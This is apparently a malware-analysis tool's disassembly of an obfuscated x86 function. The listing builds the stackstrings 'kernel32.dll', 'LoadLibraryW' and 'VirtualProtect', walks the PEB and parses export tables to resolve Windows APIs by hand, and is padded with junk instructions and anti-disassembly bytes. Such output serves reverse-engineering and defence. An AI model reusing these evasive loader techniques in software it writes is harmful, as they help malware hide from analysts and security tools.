Function at 0x43481a
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
or esi, 0x14970
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ebx
call 0x43439f
add byte [eax + 0x35], al
cmp edi, dword [ebx]
dec ebp
dec edi
xor ecx, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
jmp 0x434424
pop eax
add byte [eax], al
or esi, 0x128b0
sub esi, 0xd49d
sub esi, 0xfb20
pop esi
push edi
xor edi, 0xed9d
xor edi, 0x8fe8
xor edi, 0xfd83
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x434466
mov dword [ebp - 0x2e0], 0
jmp 0x434722
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
add eax, 0x15840
or eax, 0x10b7a
call 0x434494
add byte [esp + ecx*2 + 0x45], al
cmp dh, byte [0x3e343d50]
add esp, 4
sub eax, 0x15ba6
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x182cd
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x4344c2
mov dword [ebp - 0x2e0], 0
jmp 0x434722
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x434671
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x43452d
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x43452d
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x43465b
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x434665
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4346ba
push esi
push edx
add esp, 4
and esi, 0x15dc6
jmp 0x43468d
sub esi, 0xb7e9
pop esi
push ebx
push ecx
add esp, 4
sub ebx, 0x148f0
or ebx, 0x12e35
jmp 0x4346ab
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x434722
push edi
push edx
add esp, 4
or edi, 0x5011
and edi, 0x12993
sub edi, 0x798c
and edi, 0xd1eb
pop edi
push edx
jmp 0x4346df
xor edx, 0x824a
xor edx, 0x3625
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x434718
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4344ce
mov dword [ebp - 0x2e0], 0
push edi
and edi, 0x17b36
pop edi
push edx
and edx, 0x16854
pop edx
push esi
add esi, 0xc8df
pop esi
push edi
push ecx
add esp, 4
or edi, 0x11ada
and edi, 0xb032
pop edi
push ebx
or ebx, 0xdc5c
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x43506d
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
push eax
add esp, 4
jmp 0x434804
add ebx, 0x10e90
call 0x43481a
add byte [edi], dh
cmp edi, dword [esp + edi]
inc eax
inc ebx
aaa
dec ecx
inc edi
cmp al, byte [ebx - 0x347efb3c]
pop ss
pop edx
add byte [eax], al
pop ebx
push ecx
xor ecx, 0x4fff
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
and edi, 0x1fbf
and edi, 0x10866
call 0x4348c8
add byte [0x3646463c], bh
inc eax
xor eax, dword [ebx - 0x107efb3c]
adc ebp, dword [ebx]
add byte [edi + 0x56], bl
or esi, 0xa9de
add esi, 0x17b23
pop esi
cmp dword [ebp - 0x14dc], 0
jne 0x4348f8
mov dword [ebp - 0x6ec], 0
jmp 0x434bb4
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edx
push eax
add esp, 4
jmp 0x434914
or edx, 0x17aba
jmp 0x434923
add edx, 0xfa67
pop edx
push esi
push esi
add esp, 4
xor esi, 0x25cc
sub esi, 0x17f71
pop esi
cmp dword [ebp - 0xc2c], 0
jne 0x434954
mov dword [ebp - 0x6ec], 0
jmp 0x434bb4
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
push edx
add esp, 4
sub ebx, 0x11d44
sub ebx, 0x3d4
and ebx, 0x12c57
xor ebx, 0x71aa
pop ebx
push ecx
and ecx, 0x7960
sub ecx, 0x9ab2
and ecx, 0x6770
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
push edi
add esp, 4
and edi, 0xf21a
add edi, 0x18226
pop edi
push edi
push edi
add esp, 4
jmp 0x4349de
add edi, 0x49a8
and edi, 0x902c
xor edi, 0x1399d
pop edi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edi
push edi
add esp, 4
or edi, 0x155cc
xor edi, 0x181bd
call 0x434a6b
add byte [ebx + 0x4e], cl
cmp byte [edi + ecx*2 + 0x47], al
xor edi, dword [edi]
inc edi
add esp, 4
xor edi, 0xd8e3
pop edi
push esi
sub esi, 0xcb92
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x434aa0
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x434b03
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x4349bf
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x4349bf
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x434aed
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x434af7
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x434b4c
push ecx
add ecx, 0x4c09
jmp 0x434b1c
add ecx, 0x11789
sub ecx, 0xacdb
pop ecx
push esi
push esi
add esp, 4
call 0x434b3a
add byte [eax + edx*2], dh
xor eax, 0x834e3543
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x434bb4
push eax
call 0x434b5a
add byte [ebx], dh
inc esi
xor eax, 0x833e4035
les eax, [ecx + eax*4]
call fcn.00438c8e
pop eax
push edi
and edi, 0x7c56
add edi, 0xf4b2
sub edi, 0xdfc5
add edi, 0xa22e
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x434baa
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x434960
mov dword [ebp - 0x6ec], 0
push edx
add edx, 0x7145
add edx, 0x6936
and edx, 0xfe2d
pop edx
push ecx
push eax
add esp, 4
or ecx, 0xe99e
sub ecx, 0xb214
or ecx, 0x7717
and ecx, 0xcdee
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x434c30
push ebx
push edi
add esp, 4
xor ebx, 0x3f00
xor ebx, 0x8e30
or ebx, 0xd3e5
pop ebx
push edx
sub edx, 0x181d4
pop edx
push edx
push esi
add esp, 4
jmp 0x434c1a
or edx, 0x2421
pop edx
mov dword [ebp - 0x738], 0
jmp 0x435757
push edi
sub edi, 0x38c2
call 0x434c46
add byte [edx], bh
inc edx
dec eax
cmp byte [edi], bh
inc edx
inc ecx
dec edx
add esp, 4
pop edi
push eax
push esi
add esp, 4
add eax, 0x10763
xor eax, 0x13e61
jmp 0x434c61
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x434ca1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x434f92
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x434cc9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x434f92
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x434cfb
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x434f92
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x434d20
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x434f92
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x434d7a
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x434f86
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x434dea
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x434e9c
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x434e9c
push edx
add edx, 0xa479
jmp 0x434e27
pop edx
push ebx
push edx
add esp, 4
or ebx, 0x6e70
pop ebx
push eax
call 0x434e45
add byte [edi], bh
inc ebp
xor cl, byte [ebp + 0x47]
inc edx
inc edx
cmp byte [esi], dh
add esp, 4
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x434e8e
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x434e95
jmp 0x434ddb
jmp 0x434e9c
push ecx
push edi
add esp, 4
add ecx, 0x84f2
pop ecx
push ecx
or ecx, 0x176d5
or ecx, 0x133a1
add ecx, 0x6961
and ecx, 0xc2b7
pop ecx
push edx
push ecx
add esp, 4
or edx, 0x1267a
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x434efb
mov dword [ebp - 0xc30], 0
jmp 0x434f6a
push ecx
sub ecx, 0xb96
xor ecx, 0xb863
call 0x434f18
add byte [ebx + 0x47], cl
dec ecx
dec esp
xor cl, byte [ebx + 0x3f]
inc esp
dec edi
add esp, 4
pop ecx
push esi
call 0x434f29
add byte [eax], bh
aas
inc edx
xor cl, byte [ebp - 0x7d]
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x434f60
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x434f6a
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x434f81
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x434f92
jmp 0x434d6b
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x43506d
push eax
push edx
add esp, 4
call 0x434fb4
add byte [ebp + 0x42], al
aaa
xor eax, dword [edi + 0x38]
push eax
inc esp
cmp byte [ebp - 0x7d], al
les eax, [ebx + ebp*8]
add eax, 0x3944453d
cmp dword [ecx + 0xf6e0e0], eax
add byte [eax + 0x50], bl
push eax
add esp, 4
add eax, 0xfcae
pop eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
add edi, 0x3e30
add edi, 0xae47
pop edi
push ebx
push eax
add esp, 4
or ebx, 0x7262
or ebx, 0xe40c
call 0x43500b
add byte [edi + esi], bh
dec esp
xor cl, byte [eax + 0x4e]
inc esp
inc eax
cmp al, 0x83
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x43506d
push edi
push ebx
add esp, 4
add edi, 0x10a5a
pop edi
push ecx
and ecx, 0xb31c
and ecx, 0x15925
and ecx, 0x16f7
and ecx, 0xb65e
pop ecx
push edx
push ecx
add esp, 4
or edx, 0x14508
pop edx
mov dword [ebp - 0x738], 0
jmp 0x435757
push edx
push eax
add esp, 4
jmp 0x435077
jmp 0x43507e
xor edx, 0x8b29
sub edx, 0x3126
pop edx
push ebx
push eax
add esp, 4
jmp 0x435096
pop ebx
push eax
sub eax, 0xed9b
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
push edx
add esp, 4
call 0x4350da
add byte [ebp + 0x38], cl
cmp byte [edx], dh
dec edi
cmp al, 0x48
xor eax, 0x4c4833f
or ebx, 0x1353c
or ebx, 0xc740
xor ebx, 0x8911
pop ebx
push esi
and esi, 0x119b5
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x435110
mov dword [ebp - 0x2e0], 0
jmp 0x4353b7
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
push edx
add esp, 4
sub eax, 0xc5e6
xor eax, 0x3e8d
call 0x435140
add byte [esi + 0x46], al
dec ebp
inc esp
dec edx
xor eax, 0x4c4834f
pop eax
push edi
xor edi, 0x18062
pop edi
push eax
sub eax, 0x3e11
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x43516c
mov dword [ebp - 0x2e0], 0
jmp 0x4353b7
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
and esi, 0xad9c
sub esi, 0x179d4
xor esi, 0x11a8c
pop esi
push esi
push edx
add esp, 4
and esi, 0x2db5
sub esi, 0x78db
or esi, 0x99bf
or esi, 0x149a7
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push edi
add esp, 4
or edi, 0x16498
xor edi, 0x156d8
sub edi, 0x1280e
and edi, 0x17767
pop edi
push esi
push esi
add esp, 4
xor esi, 0x88d9
pop esi
push edx
and edx, 0xa059
pop edx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push esi
add esp, 4
or edx, 0x3799
add edx, 0x12d38
pop edx
push ecx
jmp 0x435275
pop ecx
push esi
push esi
add esp, 4
and esi, 0x989a
sub esi, 0x131c2
jmp 0x43528e
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4352ac
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x435306
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4351d4
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4351d4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4352f0
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4352fa
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x43534f
push ebx
push eax
add esp, 4
add ebx, 0x10963
jmp 0x435322
sub ebx, 0x17d93
or ebx, 0x8026
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0x8065
and ecx, 0x23b5
pop ecx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x4353b7
push ebx
push edi
add esp, 4
jmp 0x43535c
jmp 0x435361
or ebx, 0x8dd1
add ebx, 0x179af
pop ebx
push eax
push ebx
add esp, 4
add eax, 0xa04e
jmp 0x435380
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x4353ad
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x435178
mov dword [ebp - 0x2e0], 0
push ecx
jmp 0x4353c0
jmp 0x4353c8
pop ecx
push ecx
push ebx
add esp, 4
call 0x4353dd
add byte [ebx], bh
cmp eax, 0x50363844
inc ebp
cmp eax, 0x4c48338
pop ecx
push edi
add edi, 0x8834
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
sub ebx, 0x48c
jmp 0x435408
pop ebx
push eax
push esi
add esp, 4
add eax, 0xc4af
sub eax, 0x11b07
call 0x435426
add byte [eax], bh
xor eax, 0x3d35403a
add esp, 4
pop eax
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x43545a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x43574b
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x435482
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x43574b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x4354b4
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x43574b
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x4354d9
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x43574b
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x435533
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x43573f
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x4355a3
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x435655
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x435655
push ebx
push eax
add esp, 4
jmp 0x4355dd
or ebx, 0x5f37
xor ebx, 0x1795f
xor ebx, 0x4a96
pop ebx
push ecx
push esi
add esp, 4
sub ecx, 0x10217
sub ecx, 0x114ee
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x435647
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x43564e
jmp 0x435594
jmp 0x435655
push edx
or edx, 0x1647c
and edx, 0x12313
add edx, 0x138a6
add edx, 0x13391
pop edx
push edi
push edx
add esp, 4
sub edi, 0x15cc7
xor edi, 0x453e
xor edi, 0x1403a
pop edi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x4356b4
mov dword [ebp - 0xc40], 0
jmp 0x435723
push ecx
push eax
add esp, 4
sub ecx, 0x9012
xor ecx, 0x136dc
pop ecx
push eax
push ecx
add esp, 4
jmp 0x4356d0
call 0x4356dc
add byte [edx], bh
dec esi
cmp al, 0x4f
aaa
add esp, 4
xor eax, 0x12ac0
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x435719
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x435723
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x43573a
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x43574b
jmp 0x435524
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edi
sub edi, 0x7d69
xor edi, 0x11393
or edi, 0xe74d
pop edi
push esi
push ecx
add esp, 4
xor esi, 0x49a6
or esi, 0xe8d3
or esi, 0x12b13
add esi, 0x3e2a
pop esi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
push ebx
add esp, 4
xor ecx, 0xf8cd
call 0x4357b0
add byte [ebp + 0x50], cl
dec eax
xor eax, 0x83384332
les eax, [ecx + ebx*2]
push ecx
jmp 0x4357bd
pop ecx
push edi
push edx
add esp, 4
add edi, 0x7760
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x4357dc
cmp dword [ebp - 0xa5c], 0
jne 0x435822
push eax
call 0x4357ec
add byte [eax], bh
inc ebp
push eax
dec esi
xor al, 0x43
dec edx
cmp eax, dword [ebx + 0x5eb04c4]
xor cl, byte [ebp + ecx*2 + 0x37]
inc esp
pop eax
push edi
push edi
add esp, 4
call 0x43580a
add byte [edx], bh
inc edx
xor al, 0x44
cmp edi, dword [ebx]
xor dh, byte [edx]
add esp, 4
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
push eax
add esp, 4
and ebx, 0x17412
pop ebx
push eax
push edi
add esp, 4
add eax, 0x16015
or eax, 0x7134
pop eax
push edx
add edx, 0x16ef5
and edx, 0x48de
and edx, 0xb588
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
call 0x435898
add byte [0x48464532], dh
cmp dword [esi + 0x49], ecx
add esp, 4
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x16043
jmp 0x4358ac
add ecx, 0x8d89
jmp 0x4358ba
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
call 0x435934
add byte [eax + 0x40], cl
inc ecx
inc ecx
xor ecx, dword [edi + 0x4c]
push eax
